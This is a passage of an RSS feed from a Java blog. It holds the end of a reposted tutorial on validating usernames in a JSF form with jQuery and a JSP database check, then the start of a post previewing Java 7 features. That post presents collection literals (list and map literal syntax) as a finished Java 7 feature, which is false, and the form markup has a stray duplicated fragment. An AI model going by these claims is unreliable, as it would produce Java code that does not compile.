&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;&lt;</span><span style="color: #000000;">h:inputSecret&nbsp;id</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">confirmPwd</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;value</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">#{userBean.confirmPwd}</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;&nbsp;required</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">true</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">h:message&nbsp;</span><span style="color: #0000ff;">for</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">confirmPwd</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">tr</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">tr</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">Email&nbsp;Address&nbsp;&nbsp;:&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;&lt;</span><span style="color: #000000;">h:inputText&nbsp;id</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">email</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;value</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">#{userBean.email}</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;required</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">true</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;onblur</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">checkEmail()</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;&nbsp;</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">h:message&nbsp;</span><span style="color: #0000ff;">for</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">email</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">td</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">span&nbsp;id</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">emailresult</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">tr</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">table</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">p</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">h:commandButton&nbsp;actionListener</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">#{userBean.register}</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;value</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">Register</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">p</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">h3</span><span style="color: #000000;">&gt;&lt;</span><span style="color: #000000;">h:outputText&nbsp;value</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">#{userBean.message}</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;escape</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">false</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;&nbsp;</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">h3</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">p</span><span style="color: #000000;">/&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">h:form</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">f:view</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">body</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">html</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">lt;</span><span style="color: #000000;">/</span><span style="color: #000000;">f:view</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">body</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">html</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />
</span></div>
</div>
<div><div><h2>Bean</h2></div><br />The above JSF Form uses <strong>userBean</strong>, which is the name given to <strong>beans.UserBean</strong> class. The class and its entries in <strong>faces-config.xml </strong>file are given below.<br />
<div>UserBean is the managed bean that stores data coming from JSF form. It contains an action listener - register(), which is supposed to process the data to complete registration process. We don't deal with it as our focus is only on validating username. </div>
<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: #008000;">//</span><span style="color: #008000;">UserBean.java</span><span style="color: #008000;"><br />
</span><span style="color: #0000ff;">package</span><span style="color: #000000;">&nbsp;beans;<br />
<br />
</span><span style="color: #0000ff;">public</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">class</span><span style="color: #000000;">&nbsp;UserBean&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">private</span><span style="color: #000000;">&nbsp;String&nbsp;username,&nbsp;password,&nbsp;email,confirmPwd,&nbsp;message;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">public</span><span style="color: #000000;">&nbsp;UserBean()&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">public</span><span style="color: #000000;">&nbsp;String&nbsp;getPassword()&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;password;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">public</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">void</span><span style="color: #000000;">&nbsp;setPassword(String&nbsp;password)&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">.password&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;password;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">public</span><span style="color: #000000;">&nbsp;String&nbsp;getUsername()&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;username;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">public</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">void</span><span style="color: #000000;">&nbsp;setUsername(String&nbsp;username)&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">.username&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;username;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">public</span><span style="color: #000000;">&nbsp;String&nbsp;getConfirmPwd()&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;confirmPwd;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">public</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">void</span><span style="color: #000000;">&nbsp;setConfirmPwd(String&nbsp;confirmPwd)&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">.confirmPwd&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;confirmPwd;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">public</span><span style="color: #000000;">&nbsp;String&nbsp;getEmail()&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;email;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">public</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">void</span><span style="color: #000000;">&nbsp;setEmail(String&nbsp;email)&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">.email&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;email;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">public</span><span style="color: #000000;">&nbsp;String&nbsp;getMessage()&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">&nbsp;message;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">public</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">void</span><span style="color: #000000;">&nbsp;setMessage(String&nbsp;message)&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">this</span><span style="color: #000000;">.message&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;message;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">public</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">void</span><span style="color: #000000;">&nbsp;&nbsp;register(ActionEvent&nbsp;evt)&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(</span><span style="color: #000000;">!</span><span style="color: #000000;">&nbsp;password.equals(confirmPwd))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;message&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">Password&nbsp;do&nbsp;not&nbsp;match!</span><span style="color: #000000;">"</span><span style="color: #000000;">;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">return</span><span style="color: #000000;">;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;do&nbsp;registration</span><span style="color: #008000;"><br />
</span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;register</span><span style="color: #008000;"><br />
</span><span style="color: #000000;">}<br />
</span></div>
</div>
<div><div><h2>xml</h2></div><br />The following entry is required in faces-config.xml for UserBean managed bean.</div>
<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: #008000;">&lt;!--</span><span style="color: #008000;">&nbsp;faces-config.xml&nbsp;</span><span style="color: #008000;">--&gt;</span><span style="color: #000000;"><br />
</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">managed-bean</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">managed-bean-name</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;">userBean</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">managed-bean-name</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">managed-bean-class</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;">beans.UserBean</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">managed-bean-class</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">&lt;</span><span style="color: #800000;">managed-bean-scope</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;">request</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">managed-bean-scope</span><span style="color: #0000ff;">&gt;</span><span style="color: #000000;"><br />
</span><span style="color: #0000ff;">&lt;/</span><span style="color: #800000;">managed-bean</span><span style="color: #0000ff;">&gt;</span>&nbsp;&nbsp;</div>
<div><div><h2>Check</h2></div>Now create a checkusername.jsp to check whether given username is valid.  It sends a message if username is already exists otherwise it sends      empty string (nothing).  </div><div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #000000;">&lt;%</span><span style="color: #000000;">@&nbsp;page&nbsp;</span><span style="color: #0000ff;">import</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">java.sql.*</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;&nbsp;contentType</span><span style="color: #000000;">=</span><span style="color: #000000;">"</span><span style="color: #000000;">text/plain</span><span style="color: #000000;">"</span><span style="color: #000000;">%&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">&lt;%</span><span style="color: #000000;"><br />&nbsp;String&nbsp;username&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;request.getParameter(</span><span style="color: #000000;">"</span><span style="color: #000000;">username</span><span style="color: #000000;">"</span><span style="color: #000000;">);&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;sent&nbsp;from&nbsp;client<br />&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;connect&nbsp;to&nbsp;oracle&nbsp;using&nbsp;thin&nbsp;driver</span><span style="color: #008000;"><br /></span><span style="color: #000000;">&nbsp;Class.forName(</span><span style="color: #000000;">"</span><span style="color: #000000;">oracle.jdbc.driver.OracleDriver</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br />&nbsp;Connection&nbsp;con&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;DriverManager.getConnection(</span><span style="color: #000000;">"</span><span style="color: #000000;">jdbc:oracle:thin:@localhost:1521:xe</span><span style="color: #000000;">"</span><span style="color: #000000;">,</span><span style="color: #000000;">"</span><span style="color: #000000;">youruser</span><span style="color: #000000;">"</span><span style="color: #000000;">,</span><span style="color: #000000;">"</span><span style="color: #000000;">yourpassword</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br />&nbsp;PreparedStatement&nbsp;ps&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;con.prepareStatement(</span><span style="color: #000000;">"</span><span style="color: #000000;">select&nbsp;username&nbsp;from&nbsp;users&nbsp;where&nbsp;username&nbsp;=&nbsp;?</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br />&nbsp;ps.setString(</span><span style="color: #000000;">1</span><span style="color: #000000;">,username);<br />&nbsp;ResultSet&nbsp;&nbsp;rs&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;ps.executeQuery();<br />&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(&nbsp;rs.next())&nbsp;{&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;found&nbsp;username</span><span style="color: #008000;"><br /></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;out.println(</span><span style="color: #000000;">"</span><span style="color: #000000;">Username&nbsp;is&nbsp;already&nbsp;present!</span><span style="color: #000000;">"</span><span style="color: #000000;">);&nbsp;&nbsp;</span><span style="color: #008000;">//</span><span style="color: #008000;">&nbsp;send&nbsp;this&nbsp;to&nbsp;client</span><span style="color: #008000;"><br /></span><span style="color: #000000;">&nbsp;}<br />&nbsp;rs.close();<br />&nbsp;ps.close();<br />&nbsp;con.close();<br /></span><span style="color: #000000;">%&gt;</span><span style="color: #000000;"><br /></span></div><div><h2>Deploy and Test</h2> Now deploy the web application and run <strong>register.jsp</strong>. If you enter  a username that is already present in USERS table then we get message -  Username is already present - in SPAN item on  the right of username field. If username is unique then SPAN item is set  to empty string ( as JSP returns nothing). </div><br />from:http://www.srikanthtechnologies.com/blog/java/jquerywithjsf.aspx<img src ="http://www.blogjava.net/ywj-316/aggbug/351361.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2011-05-30 21:38 <a href="http://www.blogjava.net/ywj-316/archive/2011/05/30/351361.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java 7七大新功能预览</title><link>http://www.blogjava.net/ywj-316/archive/2011/03/18/346539.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Fri, 18 Mar 2011 07:21:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2011/03/18/346539.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/346539.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2011/03/18/346539.html#Feedback</comments><slash:comments>9</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/346539.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/346539.html</trackback:ping><description><![CDATA[<p>Java 7已经完成的7大新功能：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 对集合类的语言支持；<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2 自动资源管理；<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3 改进的通用实例创建类型推断；<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4 数字字面量下划线支持；<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5 switch中使用string；<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6 二进制字面量；<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7 简化可变参数方法调用。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 下面我们来仔细看一下这7大新功能：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 对集合类的语言支持<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Java将包含对创建集合类的第一类语言支持。这意味着集合类的创建可以像Ruby和Perl那样了。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 原本需要这样：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; List&lt;String&gt; list = new ArrayList&lt;String&gt;();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; list.add("item");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String item = list.get(0);<br />
&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set&lt;String&gt; set = new HashSet&lt;String&gt;();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set.add("item");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Map&lt;String, Integer&gt; map = new HashMap&lt;String, Integer&gt;();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; map.put("key", 1);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;int value = map.get("key"); </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 现在你可以这样：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; List&lt;String&gt; list = ["item"];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String item = list[0];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set&lt;String&gt; set = {"item"};<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Map&lt;String, Integer&gt; map = {"key" : 1};<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int value = map["key"]; </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这些集合是不可变的。</p>
<p>&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2 自动资源管理<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Java中某些资源是需要手动关闭的，如InputStream，Writes，Sockets，Sql classes等。这个新的语言特性允许try语句本身申请更多的资源，<br />
&nbsp;&nbsp; 这些资源作用于try代码块，并自动关闭。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BufferedReader br = new BufferedReader(new FileReader(path));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return br.readLine();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;} finally {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; br.close();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 变成了这个：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try (BufferedReader br = new BufferedReader(new FileReader(path)) {<br />
